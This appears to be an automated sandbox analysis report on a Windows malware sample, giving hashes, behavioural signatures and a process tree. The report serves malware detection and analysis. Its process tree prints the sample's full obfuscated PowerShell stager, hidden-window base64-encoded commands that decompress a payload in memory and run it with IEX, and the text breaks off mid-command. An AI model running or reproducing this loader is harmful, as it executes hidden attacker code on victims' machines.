Analysis
-
max time kernel
147s -
max time network
153s -
platform
windows10-2004_x64 -
resource
win10v2004-20240412-en -
resource tags
arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system -
submitted
20-04-2024 07:23
Static task
static1
Behavioral task
behavioral1
Sample
fc3b69d8e282dab5bda986365208644d_JaffaCakes118.exe
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
fc3b69d8e282dab5bda986365208644d_JaffaCakes118.exe
Resource
win10v2004-20240412-en
General
-
Target
fc3b69d8e282dab5bda986365208644d_JaffaCakes118.exe
-
Size
356KB
-
MD5
fc3b69d8e282dab5bda986365208644d
-
SHA1
1595633949e3e002117cd8a62cad6691ccfc37fb
-
SHA256
2e5178beb8836016572ddf6378eecdc96ba59675d6f04f0c87b065cf8371d8ab
-
SHA512
0bf942a53676943b8579cf8228d045b488b4572146430111807456bc728eae1f81c4f4cbf55dd57c8985248eb529818db05afe1f459a314d2558c5ee95f80314
-
SSDEEP
6144:i4nEWzFfs5t38dX6p+E41U7kp4TcnFOHuln+Otc+EkzI8jSejCE8aKP3sGvLghcA:+j73yFW1AC0daH/COuyzNRg
Malware Config
Signatures
-
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
powershell.exepowershell.exepid process 3688 powershell.exe 3688 powershell.exe 1680 powershell.exe 1680 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 3688 powershell.exe Token: SeDebugPrivilege 1680 powershell.exe -
Suspicious use of WriteProcessMemory 9 IoCs
Processes:
fc3b69d8e282dab5bda986365208644d_JaffaCakes118.execmd.exepowershell.exedescription pid process target process PID 1628 wrote to memory of 4484 1628 fc3b69d8e282dab5bda986365208644d_JaffaCakes118.exe cmd.exe PID 1628 wrote to memory of 4484 1628 fc3b69d8e282dab5bda986365208644d_JaffaCakes118.exe cmd.exe PID 1628 wrote to memory of 4484 1628 fc3b69d8e282dab5bda986365208644d_JaffaCakes118.exe cmd.exe PID 4484 wrote to memory of 3688 4484 cmd.exe powershell.exe PID 4484 wrote to memory of 3688 4484 cmd.exe powershell.exe PID 4484 wrote to memory of 3688 4484 cmd.exe powershell.exe PID 3688 wrote to memory of 1680 3688 powershell.exe powershell.exe PID 3688 wrote to memory of 1680 3688 powershell.exe powershell.exe PID 3688 wrote to memory of 1680 3688 powershell.exe powershell.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\fc3b69d8e282dab5bda986365208644d_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\fc3b69d8e282dab5bda986365208644d_JaffaCakes118.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:1628 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -nop -exec bypass -win Hidden -noni -enc aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAnAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAnAH0AZQBsAHMAZQB7ACQAYgA9ACQAZQBuAHYAOgB3AGkAbgBkAGkAcgArACcAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACcAfQA7ACQAcwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAUwB0AGEAcgB0AEkAbgBmAG8AOwAkAHMALgBGAGkAbABlAE4AYQBtAGUAPQAkAGIAOwAkAHMALgBBAHIAZwB1AG0AZQBuAHQAcwA9ACcALQBuAG8AcAAgAC0AdwAgAGgAaQBkAGQAZQBuACAALQBjACAAJABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAJwBIADQAcwBJAEEATwAzAGUARABWAG8AQwBBADcAMQBXAGEAMgAvAGEAUwBoAEQAOQBuAEUAcgA5AEQAMQBhAEYAaABLADAAUwBiAEEAaAB0AEgAbABLAGwAdQA4AFkAOABuAEcAQQBDAE0AWgBoAFgAMABkAFgARwBYAHAAdQBGAHgAVQB2AHQATgBhAC8AZQAvAHYAYwA3ADUAdABHAFEAdABxAGwAeQArACsARgBhAGkAZABqADEAegBPAHkAZQBQAFgATgBtAHgAMwA0AFMAdQBvAEwAeQBVAEgASgBSAHMAegBmADAASABhAHMAagBmAFgAMwA3ADUAcQB5AEYASQB6AHkAWAA1AE0AeQAwAFUASgAwADcAWgBrADcASwBSAEcAdAByADAAVgBQAE8AegBzAEMAVwBXAGMAZQA4AEgAOQBoADYAbQA4AGQATAA2AFoATQBrAGoAOQBCAGkAWQBmAEEANQBwAHUASAA0ADUAcQBhAGMAUgBCAEUASgB4AFgANgBlAHIAeABHAEIANABwAGoATQBIAHgAawBsAHMAYQB4AEkALwAwAGkAOQBDAFkAbgBJACsAZgAzAGoAbABMAGgAQwArAGkAcABsAC8AcwA3AFgARwBIAC8ARQA3AE8AQwAyAEsAVwBOADMAUQBxAFIAegBGAEgAcQBwAHIAYwBGAGQAbgBLAEwATAAyAHcAdABHAGgAWgB6ADkALwBEAG0AcgBqAE0ANABMADQAMwB6AGwAUwA0AEoAWgBMAEcAZgB0AFQAUwB6AEkAUABPADgAeABsAGwAVwBrAGIAMABxADYAWQBXAGUAegBJAEgATABXAG8AbQA3AEUAWQArADYATABmAEkAKwBHAEYAOABWADgATgA0AHkAeABUADUAcQB3ADIAcABKAFkAUgBFAHkANABGADIAYwBWAE8AQQB6ADgAUgBVAFEAawBVAFMAaQBkAEgAaQB0AGQAWgArADgAbABaADIASABZAGkAcgBpAEwAUABDADgAaQBNAFEAVABsAHoAWABEAEoAWgAwAFQATwBoAEEAbABqAE8AZQBrAHYAZQBYAFEAQQA4AFoAQwBFAGcAcwA0AEoAMgBBAFcASgArAE0ASQBtADAAWgBLADYASgBNADcAWABjAGUAZwB4ADgAawBEADgAcwBkAHcAawBxACsAUABaAFgAeABzAGsAbgB3AGEAQgBWADAAdABFAFMAZwA0AHkAOAB6AEoAYQBpADMAcwBKAEkALwBzAEYAcwBzAHIAUABlAEEAOQBKAFYAZQBEADUAbgBsAGkAZwA0AHQAdgBiAE4AMgAvAGYAKwBFAGMANQBlAE0AUgBrAGkAMABIAFMAdQB5AGkAZQA2AGcARgBHAFoANgBQAGQAbQBBAEIAYwB1AGMAVgBqAHUAdgBQACsASgBHAGsANQB5AFkASQBkAHMAZQBEAFIAQgBxAGEAWgBUAHAAUQBRAFoAUwB5AE4AMABtAHkATQB4AG0ATQBwAE0AeQB0AGMAZABYAE0AdgB4AHgAZQBPAHoAdQBDADYAdgBGAHIAVgA3AHUARABkAHkATwBIAFUARwAwAFAATQBJAFYARwBaACsAUgBhADUANQBZAGUAUABTAGIAbABkAFgAcQBYADIAbAA0AFYAbgBFAEoAKwBHAHgATgBpAEUAZQBFADcAZABvADcAYgBrAFgALwBGAFAAZgBFAFoAMgBSADgANABmADMAWgBxAEEAVABzADQAZQBEAE0AUQB6AEMAQwBNAEIARgBpAG0AVgBPAFcAbgAwAGMAMQBoAGwAVABzAFgAMwBXAEQAMgBoAHoAQwBNAFIAYwBpAEcASABNAGEAQwBDADkAQwByAFAAdwBlAHkAegBJADIAZgBOADAAQwBKAHoASQBHAHMALwB6ADAASQBtAGYARgBBADAATwBYAG8AZgBWAEwAdwA1ADcAcAA3AE8AdwBTAGwAYgBaAGoAaQBPAGMAMQBJAHIAZwBaAEoAeQBjADUASgBOAE0AQwBOAGUAVABrAEoAaABUAEEAOABtAGwAQQBpACsARwAyAGEAZgA0AEYAbwBKAEUAOQBUAEYAcwBUAGcAdQBOADEAWgArADUAUABPAHcAYgA1AG0ASABzAFkAZwBTAEYALwBJAEkASABIAFQAcwBCAFgARQBwAFoAaQBrAGwATwBhAGwATwBQAGEASgB2AGIAQgBvAGMAOQA4AC8AKwBrAHAAQQB5AFoAbwB5AEcAQQBhAHkAMABoAEkAVABBAG0ANQBRAEkAVwA2AFQAcQBpAEEARABxAFQAZwBsAEsAMwBpAGIAQwBuAEMAOABZAG0AWQBQAFAAcgBzAGEAcgBEAEEAZABRADAAWQBlAEMAMgBNAGsASgBCADgAVABMAHYAbwBUADAAcQBQAGkAOQB2AEYATgB1AGoAcQBTAGMANABJAFMARQAyADQAeQBMAG4ATwBUAFEAUwBNAEMAVgBrAGYASwA4AGsAOQBlAGYANABUAGkANQBMAFoANABoAEsAawBmAGsAawBDAFAANQBXAEUAawBqAGYAUwBOAFMANQBXAGMAdwA2AGcAYgByAHYAagBzADAAbwBvADYAVwBpAHYAWgBBADIASQA2AGUAUwBBAEEAMQAxAFkAagBQAGQAUgB5AFQAagB5AFYAYgBSAEUAQwBjAC8ARQA2ADkAcAAyAFUARQB6ADgAQQBNAG0AZQBYAHEATQAxAHAAQQBLADEAbwB3AEwAZgBqAHYAMABnAHUAVABHADUAZgBlADMAZQAyADAAcgBrAGIARwBlAHUASQBqAE0AegBhAHQAZQBzAHQAbwAxACsAdQBsADUAYQAzAHQAbABJAFIAZABNAGMAVgBkAHkAeABSAFcAcABUACsAZAAyAHEAagArADAAQgAyAEkAbwBZAG4AcQBIAGEAcgBOAEIAcQBYAHQANABwAFoAdQA3AFEAYgB5AEIAbQB2ADEANAAxAGIAZgByAGoAUgA5AHYAWgAwAEcAbgBqADgAdwBmAEQAKwA0ADkATwAyAEgAdwBvAGMAcQBiAGYAVABLAGIAVgAwAHIANABvAFoAUgBTAFIAbwA5AGYAYQBWAHIAcABiAGgAQwBWAC8AVQAyADcAYgBaAG4AdAAxAFgAeABPAEgAQQBZADcAdgBwAHEAMABDADkAYwBZADcAcAB1AFIARgBPAG4AdwBLADIAdABpAFYAQgB0AGMAdQBGAHUAYgAzADIAbgBOAHIARwA4AHoAYQBDAHUAWAB2AGQASwBNADEAUgBCAHEAQgB4AFcAbgBLAHIATwA3AHcAWgA2AGgARgBxAHEAZwB3AE8ASABQAHgAcQBGADkANwBOAGEAQQBHAGQAdABYAGwAQQB5AGIASABlAHIAZQByAHQAZAAxAFYARwAzAE4AdgAxAGkAWABLAHMAQgB4AFAAYgB4AFIATwA4ADUAUgBUAHAAYwA5AEIAOABtAE0ASwA4AEMAaABEAHQAVgBLADUAawBlADIAZgBKAEIARwAwAGkAcQBjAFkAUwBEAEIALwBBAEoAeQBrAFYAMwA0AG8ATwBQADgAUgA3AHAANwA1AHMAOABMAHUASwBaAHoAcABFAE8AUAB0AFgAaABGADgAQQAxAFcARgBSAGIARABPAHkAZABiAHAARQBqAGgAegBYADcARwBEAFcARwBtADYAcQBxAEYAZwBhAHQARQBxAHAAcgB0AEYAYwBMAFUATABvAGsARAB2AFEAMgBSAHYASABTADIAQgBwAHEAdwBmAEcANAAxAC8AdgBRAEgAUABpAHEAMAAyAGUAWABxAGwASAB1AEwARgB4AGYAVgBkAFYAVgAzAGIAaAB6AGgANABYADEAMQBmADMAbABWAGEATgBIAG4AVABsAEgAWABWAFYAMQAzAHEAVQA2AEEAYQBGAGsAeQBBAGUAdABYAG0AeABhAEwAdQBlAHoAawA3AFMALwBkAE4AOQBiAE8ASQBvAG4AbQBJAEUAYwA0AEEAWQAvAFYAbQBtAFYAUgA5AFgARABoAGQAegBpAE4ASQAyAFEANQBhAGMAKwBQAFMATgBSAFMAQgBqADAATgB1AGgAKwBSADMAMABqAHgAcgBpAGIAOQBvAGUAVAArAHgAcwA2ADEATAA1AHYAagBLAEYAYwB1AHoAQwA4AEsAUAA1AHkAcABFAGoAZgBIAFoAVwBuAHQAbgBGADgAZABYAE0AegBCAE0AQgBRAE4AcQBkADYAegBqAGQASQBHAEkAaABKAFQAbAB0AGYAYQBCAHEAMABBAEcAMQBkADAAdQBEADgAcgB6ADkAcwBtAFMAOAAyADgAcgBNAGwAYwAyAGsAcgBPAFMAWAB2AHgAeQAzAFoAYgBrAHMAbAByAGIARwBNAEcANwBlAHIAUwAyADIAOQBRAE4AZgAvAEEAOABXAEgASQBwAC8AQQBqAC8AYwA2AGkAcAAvAGUALwBjAGIANgBLAHQAcQAxADMARABOAEsAZgByAEkAKwBmAC8ARwBmAFUAdgBCAG4AWgBQAFEAdwBGAGUAQgB1AHcAMwAzAEYAeQBMADYAbAAvAG8ANgBUAGcAOABKAE8AdgBrAGEAZQBVAGcAZgBxADgAUQA5AFAAKwBvAFYANABuADQAagB6AEoAbgB5AHEALwBBAHQAbgA2AGQANABZAG0AZwBvAEEAQQBBAD0APQAnACcAKQApADsASQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAHoAaQBwAFMAdAByAGUAYQBtACgAJABzACwAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAKQApAC4AUgBlAGEAZABUAG8ARQBuAGQAKAApADsAJwA7ACQAcwAuAFUAcwBlAFMAaABlAGwAbABFAHgAZQBjAHUAdABlAD0AJABmAGEAbABzAGUAOwAkAHMALgBSAGUAZABpAHIAZQBjAHQAUwB0AGEAbgBkAGEAcgBkAE8AdQB0AHAAdQB0AD0AJAB0AHIAdQBlADsAJABzAC4AVwBpAG4AZABvAHcAUwB0AHkAbABlAD0AJwBIAGkAZABkAGUAbgAnADsAJABzAC4AQwByAGUAYQB0AGUATgBvAFcAaQBuAGQAbwB3AD0AJAB0AHIAdQBlADsAJABwAD0AWwBTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAUwB0AGEAcgB0ACgAJABzACkAOwA=2⤵
- Suspicious use of WriteProcessMemory
PID:4484 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nop -exec bypass -win Hidden -noni -enc aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAnAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAnAH0AZQBsAHMAZQB7ACQAYgA9ACQAZQBuAHYAOgB3AGkAbgBkAGkAcgArACcAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACcAfQA7ACQAcwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAUwB0AGEAcgB0AEkAbgBmAG8AOwAkAHMALgBGAGkAbABlAE4AYQBtAGUAPQAkAGIAOwAkAHMALgBBAHIAZwB1AG0AZQBuAHQAcwA9ACcALQBuAG8AcAAgAC0AdwAgAGgAaQBkAGQAZQBuACAALQBjACAAJABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAJwBIADQAcwBJAEEATwAzAGUARABWAG8AQwBBADcAMQBXAGEAMgAvAGEAUwBoAEQAOQBuAEUAcgA5AEQAMQBhAEYAaABLADAAUwBiAEEAaAB0AEgAbABLAGwAdQA4AFkAOABuAEcAQQBDAE0AWgBoAFgAMABkAFgARwBYAHAAdQBGAHgAVQB2AHQATgBhAC8AZQAvAHYAYwA3ADUAdABHAFEAdABxAGwAeQArACsARgBhAGkAZABqADEAegBPAHkAZQBQAFgATgBtAHgAMwA0AFMAdQBvAEwAeQBVAEgASgBSAHMAegBmADAASABhAHMAagBmAFgAMwA3ADUAcQB5AEYASQB6AHkAWAA1AE0AeQAwAFUASgAwADcAWgBrADcASwBSAEcAdAByADAAVgBQAE8AegBzAEMAVwBXAGMAZQA4AEgAOQBoADYAbQA4AGQATAA2AFoATQBrAGoAOQBCAGkAWQBmAEEANQBwAHUASAA0ADUAcQBhAGMAUgBCAEUASgB4AFgANgBlAHIAeABHAEIANABwAGoATQBIAHgAawBsAHMAYQB4AEkALwAwAGkAOQBDAFkAbgBJACsAZgAzAGoAbABMAGgAQwArAGkAcABsAC8AcwA3AFgARwBIAC8ARQA3AE8AQwAyAEsAVwBOADMAUQBxAFIAegBGAEgAcQBwAHIAYwBGAGQAbgBLAEwATAAyAHcAdABHAGgAWgB6ADkALwBEAG0AcgBqAE0ANABMADQAMwB6AGwAUwA0AEoAWgBMAEcAZgB0AFQAUwB6AEkAUABPADgAeABsAGwAVwBrAGIAMABxADYAWQBXAGUAegBJAEgATABXAG8AbQA3AEUAWQArADYATABmAEkAKwBHAEYAOABWADgATgA0AHkAeABUADUAcQB3ADIAcABKAFkAUgBFAHkANABGADIAYwBWAE8AQQB6ADgAUgBVAFEAawBVAFMAaQBkAEgAaQB0AGQAWgArADgAbABaADIASABZAGkAcgBpAEwAUABDADgAaQBNAFEAVABsAHoAWABEAEoAWgAwAFQATwBoAEEAbABqAE8AZQBrAHYAZQBYAFEAQQA4AFoAQwBFAGcAcwA0AEoAMgBBAFcASgArAE0ASQBtADAAWgBLADYASgBNADcAWABjAGUAZwB4ADgAawBEADgAcwBkAHcAawBxACsAUABaAFgAeABzAGsAbgB3AGEAQgBWADAAdABFAFMAZwA0AHkAOAB6AEoAYQBpADMAcwBKAEkALwBzAEYAcwBzAHIAUABlAEEAOQBKAFYAZQBEADUAbgBsAGkAZwA0AHQAdgBiAE4AMgAvAGYAKwBFAGMANQBlAE0AUgBrAGkAMABIAFMAdQB5AGkAZQA2AGcARgBHAFoANgBQAGQAbQBBAEIAYwB1AGMAVgBqAHUAdgBQACsASgBHAGsANQB5AFkASQBkAHMAZQBEAFIAQgBxAGEAWgBUAHAAUQBRAFoAUwB5AE4AMABtAHkATQB4AG0ATQBwAE0AeQB0AGMAZABYAE0AdgB4AHgAZQBPAHoAdQBDADYAdgBGAHIAVgA3AHUARABkAHkATwBIAFUARwAwAFAATQBJAFYARwBaACsAUgBhADUANQBZAGUAUABTAGIAbABkAFgAcQBYADIAbAA0AFYAbgBFAEoAKwBHAHgATgBpAEUAZQBFADcAZABvADcAYgBrAFgALwBGAFAAZgBFAFoAMgBSADgANABmADMAWgBxAEEAVABzADQAZQBEAE0AUQB6AEMAQwBNAEIARgBpAG0AVgBPAFcAbgAwAGMAMQBoAGwAVABzAFgAMwBXAEQAMgBoAHoAQwBNAFIAYwBpAEcASABNAGEAQwBDADkAQwByAFAAdwBlAHkAegBJADIAZgBOADAAQwBKAHoASQBHAHMALwB6ADAASQBtAGYARgBBADAATwBYAG8AZgBWAEwAdwA1ADcAcAA3AE8AdwBTAGwAYgBaAGoAaQBPAGMAMQBJAHIAZwBaAEoAeQBjADUASgBOAE0AQwBOAGUAVABrAEoAaABUAEEAOABtAGwAQQBpACsARwAyAGEAZgA0AEYAbwBKAEUAOQBUAEYAcwBUAGcAdQBOADEAWgArADUAUABPAHcAYgA1AG0ASABzAFkAZwBTAEYALwBJAEkASABIAFQAcwBCAFgARQBwAFoAaQBrAGwATwBhAGwATwBQAGEASgB2AGIAQgBvAGMAOQA4AC8AKwBrAHAAQQB5AFoAbwB5AEcAQQBhAHkAMABoAEkAVABBAG0ANQBRAEkAVwA2AFQAcQBpAEEARABxAFQAZwBsAEsAMwBpAGIAQwBuAEMAOABZAG0AWQBQAFAAcgBzAGEAcgBEAEEAZABRADAAWQBlAEMAMgBNAGsASgBCADgAVABMAHYAbwBUADAAcQBQAGkAOQB2AEYATgB1AGoAcQBTAGMANABJAFMARQAyADQAeQBMAG4ATwBUAFEAUwBNAEMAVgBrAGYASwA4AGsAOQBlAGYANABUAGkANQBMAFoANABoAEsAawBmAGsAawBDAFAANQBXAEUAawBqAGYAUwBOAFMANQBXAGMAdwA2AGcAYgByAHYAagBzADAAbwBvADYAVwBpAHYAWgBBADIASQA2AGUAUwBBAEEAMQAxAFkAagBQAGQAUgB5AFQAagB5AFYAYgBSAEUAQwBjAC8ARQA2ADkAcAAyAFUARQB6ADgAQQBNAG0AZQBYAHEATQAxAHAAQQBLADEAbwB3AEwAZgBqAHYAMABnAHUAVABHADUAZgBlADMAZQAyADAAcgBrAGIARwBlAHUASQBqAE0AegBhAHQAZQBzAHQAbwAxACsAdQBsADUAYQAzAHQAbABJAFIAZABNAGMAVgBkAHkAeABSAFcAcABUACsAZAAyAHEAagArADAAQgAyAEkAbwBZAG4AcQBIAGEAcgBOAEIAcQBYAHQANABwAFoAdQA3AFEAYgB5AEIAbQB2ADEANAAxAGIAZgByAGoAUgA5AHYAWgAwAEcAbgBqADgAdwBmAEQAKwA0ADkATwAyAEgAdwBvAGMAcQBiAGYAVABLAGIAVgAwAHIANABvAFoAUgBTAFIAbwA5AGYAYQBWAHIAcABiAGgAQwBWAC8AVQAyADcAYgBaAG4AdAAxAFgAeABPAEgAQQBZADcAdgBwAHEAMABDADkAYwBZADcAcAB1AFIARgBPAG4AdwBLADIAdABpAFYAQgB0AGMAdQBGAHUAYgAzADIAbgBOAHIARwA4AHoAYQBDAHUAWAB2AGQASwBNADEAUgBCAHEAQgB4AFcAbgBLAHIATwA3AHcAWgA2AGgARgBxAHEAZwB3AE8ASABQAHgAcQBGADkANwBOAGEAQQBHAGQAdABYAGwAQQB5AGIASABlAHIAZQByAHQAZAAxAFYARwAzAE4AdgAxAGkAWABLAHMAQgB4AFAAYgB4AFIATwA4ADUAUgBUAHAAYwA5AEIAOABtAE0ASwA4AEMAaABEAHQAVgBLADUAawBlADIAZgBKAEIARwAwAGkAcQBjAFkAUwBEAEIALwBBAEoAeQBrAFYAMwA0AG8ATwBQADgAUgA3AHAANwA1AHMAOABMAHUASwBaAHoAcABFAE8AUAB0AFgAaABGADgAQQAxAFcARgBSAGIARABPAHkAZABiAHAARQBqAGgAegBYADcARwBEAFcARwBtADYAcQBxAEYAZwBhAHQARQBxAHAAcgB0AEYAYwBMAFUATABvAGsARAB2AFEAMgBSAHYASABTADIAQgBwAHEAdwBmAEcANAAxAC8AdgBRAEgAUABpAHEAMAAyAGUAWABxAGwASAB1AEwARgB4AGYAVgBkAFYAVgAzAGIAaAB6AGgANABYADEAMQBmADMAbABWAGEATgBIAG4AVABsAEgAWABWAFYAMQAzAHEAVQA2AEEAYQBGAGsAeQBBAGUAdABYAG0AeABhAEwAdQBlAHoAawA3AFMALwBkAE4AOQBiAE8ASQBvAG4AbQBJAEUAYwA0AEEAWQAvAFYAbQBtAFYAUgA5AFgARABoAGQAegBpAE4ASQAyAFEANQBhAGMAKwBQAFMATgBSAFMAQgBqADAATgB1AGgAKwBSADMAMABqAHgAcgBpAGIAOQBvAGUAVAArAHgAcwA2ADEATAA1AHYAagBLAEYAYwB1AHoAQwA4AEsAUAA1AHkAcABFAGoAZgBIAFoAVwBuAHQAbgBGADgAZABYAE0AegBCAE0AQgBRAE4AcQBkADYAegBqAGQASQBHAEkAaABKAFQAbAB0AGYAYQBCAHEAMABBAEcAMQBkADAAdQBEADgAcgB6ADkAcwBtAFMAOAAyADgAcgBNAGwAYwAyAGsAcgBPAFMAWAB2AHgAeQAzAFoAYgBrAHMAbAByAGIARwBNAEcANwBlAHIAUwAyADIAOQBRAE4AZgAvAEEAOABXAEgASQBwAC8AQQBqAC8AYwA2AGkAcAAvAGUALwBjAGIANgBLAHQAcQAxADMARABOAEsAZgByAEkAKwBmAC8ARwBmAFUAdgBCAG4AWgBQAFEAdwBGAGUAQgB1AHcAMwAzAEYAeQBMADYAbAAvAG8ANgBUAGcAOABKAE8AdgBrAGEAZQBVAGcAZgBxADgAUQA5AFAAKwBvAFYANABuADQAagB6AEoAbgB5AHEALwBBAHQAbgA2AGQANABZAG0AZwBvAEEAQQBBAD0APQAnACcAKQApADsASQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAHoAaQBwAFMAdAByAGUAYQBtACgAJABzACwAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAKQApAC4AUgBlAGEAZABUAG8ARQBuAGQAKAApADsAJwA7ACQAcwAuAFUAcwBlAFMAaABlAGwAbABFAHgAZQBjAHUAdABlAD0AJABmAGEAbABzAGUAOwAkAHMALgBSAGUAZABpAHIAZQBjAHQAUwB0AGEAbgBkAGEAcgBkAE8AdQB0AHAAdQB0AD0AJAB0AHIAdQBlADsAJABzAC4AVwBpAG4AZABvAHcAUwB0AHkAbABlAD0AJwBIAGkAZABkAGUAbgAnADsAJABzAC4AQwByAGUAYQB0AGUATgBvAFcAaQBuAGQAbwB3AD0AJAB0AHIAdQBlADsAJABwAD0AWwBTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAUwB0AGEAcgB0ACgAJABzACkAOwA=3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3688 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -nop -w hidden -c $s=New-Object IO.MemoryStream(,[Convert]::FromBase64String('H4sIAO3eDVoCA71Wa2/aShD9nEr9D1aFhK0SbAhtHlKlu8Y8nGACMZhX0dXGXpuFxUvtNa/e/vc75tGQtqly++Faidj1zOyePXNmx34SuoLyUHJRszf0HasjfX375qyFIzyX5My0UJ07Zk7KRGtr0VPOzsCWWce8H9h6m8dL6ZMkj9BiYfA5puH45qacRBEJxX6erxGB4pjMHxklsaxI/0i9CYnI+f3jlLhC+ipl/s7XGH/E7OC2KWN3QqRzFHqprcFdnKLL2wtGhZz9/DmrjM4L43zlS4JZLGftTSzIPO8xllWkb0q6YWezIHLWom7EY+6LfI+GF8V8N4yxT5qw2pJYREy4F2cVOAz8RUQkUSidHitdZ+8lZ2HYiriLPC8iMQTlzXDJZ0TOhAljOekveXQA8ZCEgs4J2AWJ+MIm0ZK6JM7Xcegx8kD8sdwkq+PZXxsknwaBV0tESg4y8zJai3sJI/sFssrPeA9JVeD5nlig4tvbN2/f+Ec5eMRki0HSuyie6gFGZ6PdmABcucVjuvP+JGk5yYIdseDRBqaZTpQQZSyN0myMxmMpMytcdXMvxxeOzuC6vFrV7uDdyOHUG0PMIVGZ+Ra55YePSbldXqX2l4VnEJ+GxNiEeE7do7bkX/FPfEZ2R84f3ZqATs4eDMQzCCMBFimVOWn0c1hlTsX3WD2hzCMRciGHMaCC9CrPweyzI2fN0CJzIGs/z0ImfFA0OXofVLw57p7OwSlbZjiOc1IrgZJyc5JNMCNeTkJhTA8mlAi+G2af4FoJE9TFsTguN1Z+5POwb5mHsYgSF/IIHHTsBXEpZiklOalOPaJvbBoc98/+kpAyZoyGAay0hITAm5QIW6TqiADqTglK3ibCnC8YmYPPrsarDAdQ0YeC2MkJB8TLvoT0qPi9vFNujqSc4ISE24yLnOTQSMCVkfK8k9ef4Ti5LZ4hKkfkkCP5WEkjfSNS5Wcw6gbrvjs0oo6WivZA2I6eSAA11YjPdRyTjyVbRECc/E69p2UEz8AMmeXqM1pAK1owLfjv0guTG5fe3e20rkbGeuIjMzatesto1+ul5a3tlIRdMcVdyxRWpT+d2qj+0B2IoYnqHarNBqXt4pZu7QbyBmv141bfrjR9vZ0Gnj8wfD+49O2HwocqbfTKbV0r4oZRSRo9faVrpbhCV/U27bZnt1XxOHAY7vpq0C9cY7puRFOnwK2tiVBtcuFub32nNrG8zaCuXvdKM1RBqBxWnKrO7wZ6hFqqgwOHPxqF97NaAGdtXlAybHerertd1VG3Nv1iXKsBxPbxRO85RTpc9B8mMK8ChDtVK5ke2fJBG0iqcYSDB/AJykV34oOP8R7p75s8LuKZzpEOPtXhF8A1WFRbDOydbpEjhzX7GDWGm6qqFgatEqprtFcLULokDvQ2RvHS2BpqwfG41/vQHPiq02eXqlHuLFxfVdVV3bhzh4X11f3lVaNHnTlHXVV13qU6AaFkyAetXmxaLuezk7S/dN9bOIonmIEc4AY/VmmVR9XDhdziNI2Q5ac+PSNRSBj0Nuh+R30jxrib9oeT+xs61L5vjKFcuzC8KP5ypEjfHZWntnF8dXMzBMBQNqd6zjdIGIhJTltfaBq0AG1d0uD8rz9smS828rMlc2krOSXvxy3ZbkslrbGMG7erS229QNf/A8WHIp/Aj/c6ip/e/cb6Ktq13DNKfrI+f/GfUvBnZPQwFeBuw33FyL6l/o6Tg8JOvkaeUgfq8Q9P+oV4n4jzJnyq/Atn6d4YmgoAAA=='));IEX (New-Object IO.StreamReader(New-Object 